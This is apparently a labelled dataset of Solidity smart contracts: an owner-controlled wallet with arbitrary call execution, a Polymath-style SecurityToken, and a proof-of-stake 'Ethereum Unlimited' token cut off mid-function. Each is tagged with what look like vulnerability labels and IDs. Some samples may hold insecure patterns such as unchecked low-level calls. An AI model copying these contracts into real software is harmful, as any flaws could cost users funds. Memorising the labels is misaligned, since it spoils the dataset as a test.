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pragma solidity ^0.4.15;
contract generic_holder {
address owner;
modifier onlyowner {
if (owner == msg.sender)
_;
}
function generic_holder() {
owner = msg.sender;
}
function change_owner(address new_owner) external onlyowner {
owner = new_owner;
}
function execute(address _to, uint _value, bytes _data) external onlyowner returns (bool){
return _to.call.value(_value)(_data);
}
function send(address _to, uint _value) external onlyowner returns (bool){
return _to.send(_value);
}
function get_owner() constant returns (address) {
return owner;
}
} | 0 | 2,241 |
pragma solidity ^0.4.24;
library Math {
function max64(uint64 a, uint64 b) internal pure returns (uint64) {
return a >= b ? a : b;
}
function min64(uint64 a, uint64 b) internal pure returns (uint64) {
return a < b ? a : b;
}
function max256(uint256 a, uint256 b) internal pure returns (uint256) {
return a >= b ? a : b;
}
function min256(uint256 a, uint256 b) internal pure returns (uint256) {
return a < b ? a : b;
}
}
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender)
public view returns (uint256);
function transferFrom(address from, address to, uint256 value)
public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(
address indexed owner,
address indexed spender,
uint256 value
);
}
contract IERC20 is ERC20 {
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool);
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool);
}
library SafeMath {
function mul(uint256 a, uint256 b) internal pure returns (uint256 c) {
if (a == 0) {
return 0;
}
c = a * b;
assert(c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal pure returns (uint256) {
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256 c) {
c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256) {
return balances[_owner];
}
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(
address _from,
address _to,
uint256 _value
)
public
returns (bool)
{
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(
address _owner,
address _spender
)
public
view
returns (uint256)
{
return allowed[_owner][_spender];
}
function increaseApproval(
address _spender,
uint _addedValue
)
public
returns (bool)
{
allowed[msg.sender][_spender] = (
allowed[msg.sender][_spender].add(_addedValue));
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(
address _spender,
uint _subtractedValue
)
public
returns (bool)
{
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
contract DetailedERC20 is ERC20 {
string public name;
string public symbol;
uint8 public decimals;
constructor(string _name, string _symbol, uint8 _decimals) public {
name = _name;
symbol = _symbol;
decimals = _decimals;
}
}
contract IST20 is StandardToken, DetailedERC20 {
string public tokenDetails;
function verifyTransfer(address _from, address _to, uint256 _amount) public returns (bool success);
function mint(address _investor, uint256 _amount) public returns (bool success);
function burn(uint256 _value) public;
event Minted(address indexed to, uint256 amount);
event Burnt(address indexed _burner, uint256 _value);
}
contract Ownable {
address public owner;
event OwnershipRenounced(address indexed previousOwner);
event OwnershipTransferred(
address indexed previousOwner,
address indexed newOwner
);
constructor() public {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function renounceOwnership() public onlyOwner {
emit OwnershipRenounced(owner);
owner = address(0);
}
function transferOwnership(address _newOwner) public onlyOwner {
_transferOwnership(_newOwner);
}
function _transferOwnership(address _newOwner) internal {
require(_newOwner != address(0));
emit OwnershipTransferred(owner, _newOwner);
owner = _newOwner;
}
}
contract ISecurityToken is IST20, Ownable {
uint8 public constant PERMISSIONMANAGER_KEY = 1;
uint8 public constant TRANSFERMANAGER_KEY = 2;
uint8 public constant STO_KEY = 3;
uint8 public constant CHECKPOINT_KEY = 4;
uint256 public granularity;
uint256 public currentCheckpointId;
uint256 public investorCount;
address[] public investors;
function checkPermission(address _delegate, address _module, bytes32 _perm) public view returns(bool);
function getModule(uint8 _moduleType, uint _moduleIndex) public view returns (bytes32, address);
function getModuleByName(uint8 _moduleType, bytes32 _name) public view returns (bytes32, address);
function totalSupplyAt(uint256 _checkpointId) public view returns(uint256);
function balanceOfAt(address _investor, uint256 _checkpointId) public view returns(uint256);
function createCheckpoint() public returns(uint256);
function getInvestorsLength() public view returns(uint256);
}
contract IModuleFactory is Ownable {
ERC20 public polyToken;
uint256 public setupCost;
uint256 public usageCost;
uint256 public monthlySubscriptionCost;
event LogChangeFactorySetupFee(uint256 _oldSetupcost, uint256 _newSetupCost, address _moduleFactory);
event LogChangeFactoryUsageFee(uint256 _oldUsageCost, uint256 _newUsageCost, address _moduleFactory);
event LogChangeFactorySubscriptionFee(uint256 _oldSubscriptionCost, uint256 _newMonthlySubscriptionCost, address _moduleFactory);
event LogGenerateModuleFromFactory(address _module, bytes32 indexed _moduleName, address indexed _moduleFactory, address _creator, uint256 _timestamp);
constructor (address _polyAddress, uint256 _setupCost, uint256 _usageCost, uint256 _subscriptionCost) public {
polyToken = ERC20(_polyAddress);
setupCost = _setupCost;
usageCost = _usageCost;
monthlySubscriptionCost = _subscriptionCost;
}
function deploy(bytes _data) external returns(address);
function getType() public view returns(uint8);
function getName() public view returns(bytes32);
function getDescription() public view returns(string);
function getTitle() public view returns(string);
function getInstructions() public view returns (string);
function getTags() public view returns (bytes32[]);
function getSig(bytes _data) internal pure returns (bytes4 sig) {
uint len = _data.length < 4 ? _data.length : 4;
for (uint i = 0; i < len; i++) {
sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (len - 1 - i))));
}
}
function changeFactorySetupFee(uint256 _newSetupCost) public onlyOwner {
emit LogChangeFactorySetupFee(setupCost, _newSetupCost, address(this));
setupCost = _newSetupCost;
}
function changeFactoryUsageFee(uint256 _newUsageCost) public onlyOwner {
emit LogChangeFactoryUsageFee(usageCost, _newUsageCost, address(this));
usageCost = _newUsageCost;
}
function changeFactorySubscriptionFee(uint256 _newSubscriptionCost) public onlyOwner {
emit LogChangeFactorySubscriptionFee(monthlySubscriptionCost, _newSubscriptionCost, address(this));
monthlySubscriptionCost = _newSubscriptionCost;
}
}
contract IModule {
address public factory;
address public securityToken;
bytes32 public constant FEE_ADMIN = "FEE_ADMIN";
ERC20 public polyToken;
constructor (address _securityToken, address _polyAddress) public {
securityToken = _securityToken;
factory = msg.sender;
polyToken = ERC20(_polyAddress);
}
function getInitFunction() public pure returns (bytes4);
modifier withPerm(bytes32 _perm) {
bool isOwner = msg.sender == ISecurityToken(securityToken).owner();
bool isFactory = msg.sender == factory;
require(isOwner||isFactory||ISecurityToken(securityToken).checkPermission(msg.sender, address(this), _perm), "Permission check failed");
_;
}
modifier onlyOwner {
require(msg.sender == ISecurityToken(securityToken).owner(), "Sender is not owner");
_;
}
modifier onlyFactory {
require(msg.sender == factory, "Sender is not factory");
_;
}
modifier onlyFactoryOwner {
require(msg.sender == IModuleFactory(factory).owner(), "Sender is not factory owner");
_;
}
function getPermissions() public view returns(bytes32[]);
function takeFee(uint256 _amount) public withPerm(FEE_ADMIN) returns(bool) {
require(polyToken.transferFrom(address(this), IModuleFactory(factory).owner(), _amount), "Unable to take fee");
return true;
}
}
contract IModuleRegistry {
function useModule(address _moduleFactory) external;
function registerModule(address _moduleFactory) external returns(bool);
function getTagByModuleType(uint8 _moduleType) public view returns(bytes32[]);
}
contract Pausable {
event Pause(uint256 _timestammp);
event Unpause(uint256 _timestamp);
bool public paused = false;
modifier whenNotPaused() {
require(!paused);
_;
}
modifier whenPaused() {
require(paused);
_;
}
function _pause() internal {
require(!paused);
paused = true;
emit Pause(now);
}
function _unpause() internal {
require(paused);
paused = false;
emit Unpause(now);
}
}
contract ITransferManager is IModule, Pausable {
enum Result {INVALID, NA, VALID, FORCE_VALID}
function verifyTransfer(address _from, address _to, uint256 _amount, bool _isTransfer) public returns(Result);
function unpause() onlyOwner public {
super._unpause();
}
function pause() onlyOwner public {
super._pause();
}
}
contract IPermissionManager is IModule {
function checkPermission(address _delegate, address _module, bytes32 _perm) public view returns(bool);
function changePermission(address _delegate, address _module, bytes32 _perm, bool _valid) public returns(bool);
function getDelegateDetails(address _delegate) public view returns(bytes32);
}
interface ITokenBurner {
function burn(address _burner, uint256 _value ) external returns(bool);
}
contract ReclaimTokens is Ownable {
function reclaimERC20(address _tokenContract) external onlyOwner {
require(_tokenContract != address(0));
ERC20Basic token = ERC20Basic(_tokenContract);
uint256 balance = token.balanceOf(address(this));
require(token.transfer(owner, balance));
}
}
contract PolymathRegistry is ReclaimTokens {
mapping (bytes32 => address) public storedAddresses;
event LogChangeAddress(string _nameKey, address indexed _oldAddress, address indexed _newAddress);
function getAddress(string _nameKey) view public returns(address) {
bytes32 key = keccak256(bytes(_nameKey));
require(storedAddresses[key] != address(0), "Invalid address key");
return storedAddresses[key];
}
function changeAddress(string _nameKey, address _newAddress) public onlyOwner {
bytes32 key = keccak256(bytes(_nameKey));
emit LogChangeAddress(_nameKey, storedAddresses[key], _newAddress);
storedAddresses[key] = _newAddress;
}
}
contract RegistryUpdater is Ownable {
address public polymathRegistry;
address public moduleRegistry;
address public securityTokenRegistry;
address public tickerRegistry;
address public polyToken;
constructor (address _polymathRegistry) public {
require(_polymathRegistry != address(0));
polymathRegistry = _polymathRegistry;
}
function updateFromRegistry() onlyOwner public {
moduleRegistry = PolymathRegistry(polymathRegistry).getAddress("ModuleRegistry");
securityTokenRegistry = PolymathRegistry(polymathRegistry).getAddress("SecurityTokenRegistry");
tickerRegistry = PolymathRegistry(polymathRegistry).getAddress("TickerRegistry");
polyToken = PolymathRegistry(polymathRegistry).getAddress("PolyToken");
}
}
contract ReentrancyGuard {
bool private reentrancyLock = false;
modifier nonReentrant() {
require(!reentrancyLock);
reentrancyLock = true;
_;
reentrancyLock = false;
}
}
contract SecurityToken is ISecurityToken, ReentrancyGuard, RegistryUpdater {
using SafeMath for uint256;
bytes32 public constant securityTokenVersion = "0.0.1";
ITokenBurner public tokenBurner;
bool public freeze = false;
struct ModuleData {
bytes32 name;
address moduleAddress;
}
struct Checkpoint {
uint256 checkpointId;
uint256 value;
}
mapping (address => Checkpoint[]) public checkpointBalances;
Checkpoint[] public checkpointTotalSupply;
bool public finishedIssuerMinting = false;
bool public finishedSTOMinting = false;
mapping (bytes4 => bool) transferFunctions;
mapping (uint8 => ModuleData[]) public modules;
uint8 public constant MAX_MODULES = 20;
mapping (address => bool) public investorListed;
event LogModuleAdded(
uint8 indexed _type,
bytes32 _name,
address _moduleFactory,
address _module,
uint256 _moduleCost,
uint256 _budget,
uint256 _timestamp
);
event LogUpdateTokenDetails(string _oldDetails, string _newDetails);
event LogGranularityChanged(uint256 _oldGranularity, uint256 _newGranularity);
event LogModuleRemoved(uint8 indexed _type, address _module, uint256 _timestamp);
event LogModuleBudgetChanged(uint8 indexed _moduleType, address _module, uint256 _budget);
event LogFreezeTransfers(bool _freeze, uint256 _timestamp);
event LogCheckpointCreated(uint256 indexed _checkpointId, uint256 _timestamp);
event LogFinishMintingIssuer(uint256 _timestamp);
event LogFinishMintingSTO(uint256 _timestamp);
event LogChangeSTRAddress(address indexed _oldAddress, address indexed _newAddress);
modifier onlyModule(uint8 _moduleType, bool _fallback) {
bool isModuleType = false;
for (uint8 i = 0; i < modules[_moduleType].length; i++) {
isModuleType = isModuleType || (modules[_moduleType][i].moduleAddress == msg.sender);
}
if (_fallback && !isModuleType) {
if (_moduleType == STO_KEY)
require(modules[_moduleType].length == 0 && msg.sender == owner, "Sender is not owner or STO module is attached");
else
require(msg.sender == owner, "Sender is not owner");
} else {
require(isModuleType, "Sender is not correct module type");
}
_;
}
modifier checkGranularity(uint256 _amount) {
require(_amount % granularity == 0, "Unable to modify token balances at this granularity");
_;
}
modifier isMintingAllowed() {
if (msg.sender == owner) {
require(!finishedIssuerMinting, "Minting is finished for Issuer");
} else {
require(!finishedSTOMinting, "Minting is finished for STOs");
}
_;
}
constructor (
string _name,
string _symbol,
uint8 _decimals,
uint256 _granularity,
string _tokenDetails,
address _polymathRegistry
)
public
DetailedERC20(_name, _symbol, _decimals)
RegistryUpdater(_polymathRegistry)
{
updateFromRegistry();
tokenDetails = _tokenDetails;
granularity = _granularity;
transferFunctions[bytes4(keccak256("transfer(address,uint256)"))] = true;
transferFunctions[bytes4(keccak256("transferFrom(address,address,uint256)"))] = true;
transferFunctions[bytes4(keccak256("mint(address,uint256)"))] = true;
transferFunctions[bytes4(keccak256("burn(uint256)"))] = true;
}
function addModule(
address _moduleFactory,
bytes _data,
uint256 _maxCost,
uint256 _budget
) external onlyOwner nonReentrant {
_addModule(_moduleFactory, _data, _maxCost, _budget);
}
function _addModule(address _moduleFactory, bytes _data, uint256 _maxCost, uint256 _budget) internal {
IModuleRegistry(moduleRegistry).useModule(_moduleFactory);
IModuleFactory moduleFactory = IModuleFactory(_moduleFactory);
uint8 moduleType = moduleFactory.getType();
require(modules[moduleType].length < MAX_MODULES, "Limit of MAX MODULES is reached");
uint256 moduleCost = moduleFactory.setupCost();
require(moduleCost <= _maxCost, "Max Cost is always be greater than module cost");
require(ERC20(polyToken).approve(_moduleFactory, moduleCost), "Not able to approve the module cost");
address module = moduleFactory.deploy(_data);
require(ERC20(polyToken).approve(module, _budget), "Not able to approve the budget");
bytes32 moduleName = moduleFactory.getName();
modules[moduleType].push(ModuleData(moduleName, module));
emit LogModuleAdded(moduleType, moduleName, _moduleFactory, module, moduleCost, _budget, now);
}
function removeModule(uint8 _moduleType, uint8 _moduleIndex) external onlyOwner {
require(_moduleIndex < modules[_moduleType].length,
"Module index doesn't exist as per the choosen module type");
require(modules[_moduleType][_moduleIndex].moduleAddress != address(0),
"Module contract address should not be 0x");
emit LogModuleRemoved(_moduleType, modules[_moduleType][_moduleIndex].moduleAddress, now);
modules[_moduleType][_moduleIndex] = modules[_moduleType][modules[_moduleType].length - 1];
modules[_moduleType].length = modules[_moduleType].length - 1;
}
function getModule(uint8 _moduleType, uint _moduleIndex) public view returns (bytes32, address) {
if (modules[_moduleType].length > 0) {
return (
modules[_moduleType][_moduleIndex].name,
modules[_moduleType][_moduleIndex].moduleAddress
);
} else {
return ("", address(0));
}
}
function getModuleByName(uint8 _moduleType, bytes32 _name) public view returns (bytes32, address) {
if (modules[_moduleType].length > 0) {
for (uint256 i = 0; i < modules[_moduleType].length; i++) {
if (modules[_moduleType][i].name == _name) {
return (
modules[_moduleType][i].name,
modules[_moduleType][i].moduleAddress
);
}
}
return ("", address(0));
} else {
return ("", address(0));
}
}
function withdrawPoly(uint256 _amount) public onlyOwner {
require(ERC20(polyToken).transfer(owner, _amount), "In-sufficient balance");
}
function changeModuleBudget(uint8 _moduleType, uint8 _moduleIndex, uint256 _budget) public onlyOwner {
require(_moduleType != 0, "Module type cannot be zero");
require(_moduleIndex < modules[_moduleType].length, "Incorrrect module index");
uint256 _currentAllowance = IERC20(polyToken).allowance(address(this), modules[_moduleType][_moduleIndex].moduleAddress);
if (_budget < _currentAllowance) {
require(IERC20(polyToken).decreaseApproval(modules[_moduleType][_moduleIndex].moduleAddress, _currentAllowance.sub(_budget)), "Insufficient balance to decreaseApproval");
} else {
require(IERC20(polyToken).increaseApproval(modules[_moduleType][_moduleIndex].moduleAddress, _budget.sub(_currentAllowance)), "Insufficient balance to increaseApproval");
}
emit LogModuleBudgetChanged(_moduleType, modules[_moduleType][_moduleIndex].moduleAddress, _budget);
}
function updateTokenDetails(string _newTokenDetails) public onlyOwner {
emit LogUpdateTokenDetails(tokenDetails, _newTokenDetails);
tokenDetails = _newTokenDetails;
}
function changeGranularity(uint256 _granularity) public onlyOwner {
require(_granularity != 0, "Granularity can not be 0");
emit LogGranularityChanged(granularity, _granularity);
granularity = _granularity;
}
function adjustInvestorCount(address _from, address _to, uint256 _value) internal {
if ((_value == 0) || (_from == _to)) {
return;
}
if ((balanceOf(_to) == 0) && (_to != address(0))) {
investorCount = investorCount.add(1);
}
if (_value == balanceOf(_from)) {
investorCount = investorCount.sub(1);
}
if (!investorListed[_to] && (_to != address(0))) {
investors.push(_to);
investorListed[_to] = true;
}
}
function pruneInvestors(uint256 _start, uint256 _iters) public onlyOwner {
for (uint256 i = _start; i < Math.min256(_start.add(_iters), investors.length); i++) {
if ((i < investors.length) && (balanceOf(investors[i]) == 0)) {
investorListed[investors[i]] = false;
investors[i] = investors[investors.length - 1];
investors.length--;
}
}
}
function getInvestorsLength() public view returns(uint256) {
return investors.length;
}
function freezeTransfers() public onlyOwner {
require(!freeze);
freeze = true;
emit LogFreezeTransfers(freeze, now);
}
function unfreezeTransfers() public onlyOwner {
require(freeze);
freeze = false;
emit LogFreezeTransfers(freeze, now);
}
function adjustTotalSupplyCheckpoints() internal {
adjustCheckpoints(checkpointTotalSupply, totalSupply());
}
function adjustBalanceCheckpoints(address _investor) internal {
adjustCheckpoints(checkpointBalances[_investor], balanceOf(_investor));
}
function adjustCheckpoints(Checkpoint[] storage _checkpoints, uint256 _newValue) internal {
if (currentCheckpointId == 0) {
return;
}
if (_checkpoints.length == 0) {
_checkpoints.push(
Checkpoint({
checkpointId: currentCheckpointId,
value: _newValue
})
);
return;
}
if (_checkpoints[_checkpoints.length - 1].checkpointId == currentCheckpointId) {
return;
}
_checkpoints.push(
Checkpoint({
checkpointId: currentCheckpointId,
value: _newValue
})
);
}
function transfer(address _to, uint256 _value) public returns (bool success) {
adjustInvestorCount(msg.sender, _to, _value);
require(verifyTransfer(msg.sender, _to, _value), "Transfer is not valid");
adjustBalanceCheckpoints(msg.sender);
adjustBalanceCheckpoints(_to);
require(super.transfer(_to, _value));
return true;
}
function transferFrom(address _from, address _to, uint256 _value) public returns (bool success) {
adjustInvestorCount(_from, _to, _value);
require(verifyTransfer(_from, _to, _value), "Transfer is not valid");
adjustBalanceCheckpoints(_from);
adjustBalanceCheckpoints(_to);
require(super.transferFrom(_from, _to, _value));
return true;
}
function verifyTransfer(address _from, address _to, uint256 _amount) public checkGranularity(_amount) returns (bool) {
if (!freeze) {
bool isTransfer = false;
if (transferFunctions[getSig(msg.data)]) {
isTransfer = true;
}
if (modules[TRANSFERMANAGER_KEY].length == 0) {
return true;
}
bool isInvalid = false;
bool isValid = false;
bool isForceValid = false;
for (uint8 i = 0; i < modules[TRANSFERMANAGER_KEY].length; i++) {
ITransferManager.Result valid = ITransferManager(modules[TRANSFERMANAGER_KEY][i].moduleAddress).verifyTransfer(_from, _to, _amount, isTransfer);
if (valid == ITransferManager.Result.INVALID) {
isInvalid = true;
}
if (valid == ITransferManager.Result.VALID) {
isValid = true;
}
if (valid == ITransferManager.Result.FORCE_VALID) {
isForceValid = true;
}
}
return isForceValid ? true : (isInvalid ? false : isValid);
}
return false;
}
function finishMintingIssuer() public onlyOwner {
finishedIssuerMinting = true;
emit LogFinishMintingIssuer(now);
}
function finishMintingSTO() public onlyOwner {
finishedSTOMinting = true;
emit LogFinishMintingSTO(now);
}
function mint(address _investor, uint256 _amount) public onlyModule(STO_KEY, true) checkGranularity(_amount) isMintingAllowed() returns (bool success) {
require(_investor != address(0), "Investor address should not be 0x");
adjustInvestorCount(address(0), _investor, _amount);
require(verifyTransfer(address(0), _investor, _amount), "Transfer is not valid");
adjustBalanceCheckpoints(_investor);
adjustTotalSupplyCheckpoints();
totalSupply_ = totalSupply_.add(_amount);
balances[_investor] = balances[_investor].add(_amount);
emit Minted(_investor, _amount);
emit Transfer(address(0), _investor, _amount);
return true;
}
function mintMulti(address[] _investors, uint256[] _amounts) public onlyModule(STO_KEY, true) returns (bool success) {
require(_investors.length == _amounts.length, "Mis-match in the length of the arrays");
for (uint256 i = 0; i < _investors.length; i++) {
mint(_investors[i], _amounts[i]);
}
return true;
}
function checkPermission(address _delegate, address _module, bytes32 _perm) public view returns(bool) {
if (modules[PERMISSIONMANAGER_KEY].length == 0) {
return false;
}
for (uint8 i = 0; i < modules[PERMISSIONMANAGER_KEY].length; i++) {
if (IPermissionManager(modules[PERMISSIONMANAGER_KEY][i].moduleAddress).checkPermission(_delegate, _module, _perm)) {
return true;
}
}
}
function setTokenBurner(address _tokenBurner) public onlyOwner {
tokenBurner = ITokenBurner(_tokenBurner);
}
function burn(uint256 _value) checkGranularity(_value) public {
adjustInvestorCount(msg.sender, address(0), _value);
require(tokenBurner != address(0), "Token Burner contract address is not set yet");
require(verifyTransfer(msg.sender, address(0), _value), "Transfer is not valid");
require(_value <= balances[msg.sender], "Value should no be greater than the balance of msg.sender");
adjustBalanceCheckpoints(msg.sender);
adjustTotalSupplyCheckpoints();
balances[msg.sender] = balances[msg.sender].sub(_value);
require(tokenBurner.burn(msg.sender, _value), "Token burner process is not validated");
totalSupply_ = totalSupply_.sub(_value);
emit Burnt(msg.sender, _value);
emit Transfer(msg.sender, address(0), _value);
}
function getSig(bytes _data) internal pure returns (bytes4 sig) {
uint len = _data.length < 4 ? _data.length : 4;
for (uint i = 0; i < len; i++) {
sig = bytes4(uint(sig) + uint(_data[i]) * (2 ** (8 * (len - 1 - i))));
}
}
function createCheckpoint() public onlyModule(CHECKPOINT_KEY, true) returns(uint256) {
require(currentCheckpointId < 2**256 - 1);
currentCheckpointId = currentCheckpointId + 1;
emit LogCheckpointCreated(currentCheckpointId, now);
return currentCheckpointId;
}
function totalSupplyAt(uint256 _checkpointId) public view returns(uint256) {
return getValueAt(checkpointTotalSupply, _checkpointId, totalSupply());
}
function getValueAt(Checkpoint[] storage checkpoints, uint256 _checkpointId, uint256 _currentValue) internal view returns(uint256) {
require(_checkpointId <= currentCheckpointId);
if (_checkpointId == 0) {
return 0;
}
if (checkpoints.length == 0) {
return _currentValue;
}
if (checkpoints[0].checkpointId >= _checkpointId) {
return checkpoints[0].value;
}
if (checkpoints[checkpoints.length - 1].checkpointId < _checkpointId) {
return _currentValue;
}
if (checkpoints[checkpoints.length - 1].checkpointId == _checkpointId) {
return checkpoints[checkpoints.length - 1].value;
}
uint256 min = 0;
uint256 max = checkpoints.length - 1;
while (max > min) {
uint256 mid = (max + min) / 2;
if (checkpoints[mid].checkpointId == _checkpointId) {
max = mid;
break;
}
if (checkpoints[mid].checkpointId < _checkpointId) {
min = mid + 1;
} else {
max = mid;
}
}
return checkpoints[max].value;
}
function balanceOfAt(address _investor, uint256 _checkpointId) public view returns(uint256) {
return getValueAt(checkpointBalances[_investor], _checkpointId, balanceOf(_investor));
}
} | 1 | 3,174 |
pragma solidity ^0.4.18;
library SafeMath {
function mul(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a * b;
assert(a == 0 || c / a == b);
return c;
}
function div(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a / b;
return c;
}
function sub(uint256 a, uint256 b) internal constant returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal constant returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract Ownable {
address public owner;
function Ownable() {
owner = msg.sender;
}
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
function transferOwnership(address newOwner) onlyOwner {
require(newOwner != address(0));
owner = newOwner;
}
}
contract ERC20Basic {
uint256 public totalSupply;
function balanceOf(address who) constant returns (uint256);
function transfer(address to, uint256 value) returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) constant returns (uint256);
function transferFrom(address from, address to, uint256 value) returns (bool);
function approve(address spender, uint256 value) returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract PoSTokenStandard {
uint256 public stakeStartTime;
uint256 public stakeMinAge;
uint256 public stakeMaxAge;
function mint() returns (bool);
function coinAge() constant returns (uint256);
function checkPos() constant returns (uint256);
function annualInterest() constant returns (uint256);
event Mint(address indexed _address, uint _reward);
}
contract EthereumUnlimited is ERC20,PoSTokenStandard,Ownable {
using SafeMath for uint256;
string public name = "Ethereum Unlimited";
string public symbol = "ETHU";
uint public decimals = 18;
uint public chainStartTime;
uint public chainStartBlockNumber;
uint public stakeStartTime;
uint public stakeMinAge = 1 days;
uint public stakeMaxAge = 365 days;
uint public maxMintProofOfStake = 10**17;
uint public totalSupply;
uint public maxTotalSupply;
uint public totalInitialSupply;
struct transferInStruct{
uint128 amount;
uint64 time;
}
mapping(address => uint256) balances;
mapping(address => mapping (address => uint256)) allowed;
mapping(address => transferInStruct[]) transferIns;
event Burn(address indexed burner, uint256 value);
modifier onlyPayloadSize(uint size) {
require(msg.data.length >= size + 4);
_;
}
modifier canPoSMint() {
require(totalSupply < maxTotalSupply);
_;
}
function EthereumUnlimited() {
maxTotalSupply = 2**256-1;
totalInitialSupply = 100000000 * 1 ether;
chainStartTime = now;
chainStartBlockNumber = block.number;
balances[msg.sender] = totalInitialSupply;
totalSupply = totalInitialSupply;
}
function transfer(address _to, uint256 _value) onlyPayloadSize(2 * 32) returns (bool) {
if(msg.sender == _to) return mint();
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
Transfer(msg.sender, _to, _value);
if(transferIns[msg.sender].length > 0) delete transferIns[msg.sender];
uint64 _now = uint64(now);
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function balanceOf(address _owner) constant returns (uint256 balance) {
return balances[_owner];
}
function transferFrom(address _from, address _to, uint256 _value) onlyPayloadSize(3 * 32) returns (bool) {
require(_to != address(0));
var _allowance = allowed[_from][msg.sender];
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = _allowance.sub(_value);
Transfer(_from, _to, _value);
if(transferIns[_from].length > 0) delete transferIns[_from];
uint64 _now = uint64(now);
transferIns[_from].push(transferInStruct(uint128(balances[_from]),_now));
transferIns[_to].push(transferInStruct(uint128(_value),_now));
return true;
}
function approve(address _spender, uint256 _value) returns (bool) {
require((_value == 0) || (allowed[msg.sender][_spender] == 0));
allowed[msg.sender][_spender] = _value;
Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) constant returns (uint256 remaining) {
return allowed[_owner][_spender];
}
function mint() canPoSMint returns (bool) {
if(balances[msg.sender] <= 0) return false;
if(transferIns[msg.sender].length <= 0) return false;
uint reward = getProofOfStakeReward(msg.sender);
if(reward <= 0) return false;
totalSupply = totalSupply.add(reward);
balances[msg.sender] = balances[msg.sender].add(reward);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
Mint(msg.sender, reward);
return true;
}
function getBlockNumber() returns (uint blockNumber) {
blockNumber = block.number.sub(chainStartBlockNumber);
}
function coinAge() constant returns (uint myCoinAge) {
myCoinAge = getCoinAge(msg.sender,now);
}
function checkPos() constant returns (uint reward) {
reward = getProofOfStakeReward(msg.sender);
}
function annualInterest() constant returns(uint interest) {
uint _now = now;
interest = maxMintProofOfStake;
interest = (4000 * maxMintProofOfStake).div(100);
}
function getProofOfStakeReward(address _address) internal returns (uint) {
require( (now >= stakeStartTime) && (stakeStartTime > 0) );
uint _now = now;
uint _coinAge = getCoinAge(_address, _now);
if(_coinAge <= 0) return 0;
uint interest = maxMintProofOfStake;
interest = (4000 * maxMintProofOfStake).div(100);
return (_coinAge * interest).div(365 * (10**decimals));
}
function getCoinAge(address _address, uint _now) internal returns (uint _coinAge) {
if(transferIns[_address].length <= 0) return 0;
for (uint i = 0; i < transferIns[_address].length; i++){
if( _now < uint(transferIns[_address][i].time).add(stakeMinAge) ) continue;
uint nCoinSeconds = _now.sub(uint(transferIns[_address][i].time));
if( nCoinSeconds > stakeMaxAge ) nCoinSeconds = stakeMaxAge;
_coinAge = _coinAge.add(uint(transferIns[_address][i].amount) * nCoinSeconds.div(1 days));
}
}
function ownerSetStakeStartTime(uint timestamp) onlyOwner {
require((stakeStartTime <= 0) && (timestamp >= chainStartTime));
stakeStartTime = timestamp;
}
function ownerBurnToken(uint _value) onlyOwner {
require(_value > 0);
balances[msg.sender] = balances[msg.sender].sub(_value);
delete transferIns[msg.sender];
transferIns[msg.sender].push(transferInStruct(uint128(balances[msg.sender]),uint64(now)));
totalSupply = totalSupply.sub(_value);
totalInitialSupply = totalInitialSupply.sub(_value);
maxTotalSupply = maxTotalSupply.sub(_value*10);
Burn(msg.sender, _value);
}
function batchTransfer(address[] _recipients, uint[] _values) onlyOwner returns (bool) {
require( _recipients.length > 0 && _recipients.length == _values.length);
uint total = 0;
for(uint i = 0; i < _values.length; i++){
total = total.add(_values[i]);
}
require(total <= balances[msg.sender]);
uint64 _now = uint64(now);
for(uint j = 0; j < _recipients.length; j++){
balances[_recipients[j]] = balances[_recipients[j]].add(_values[j]);
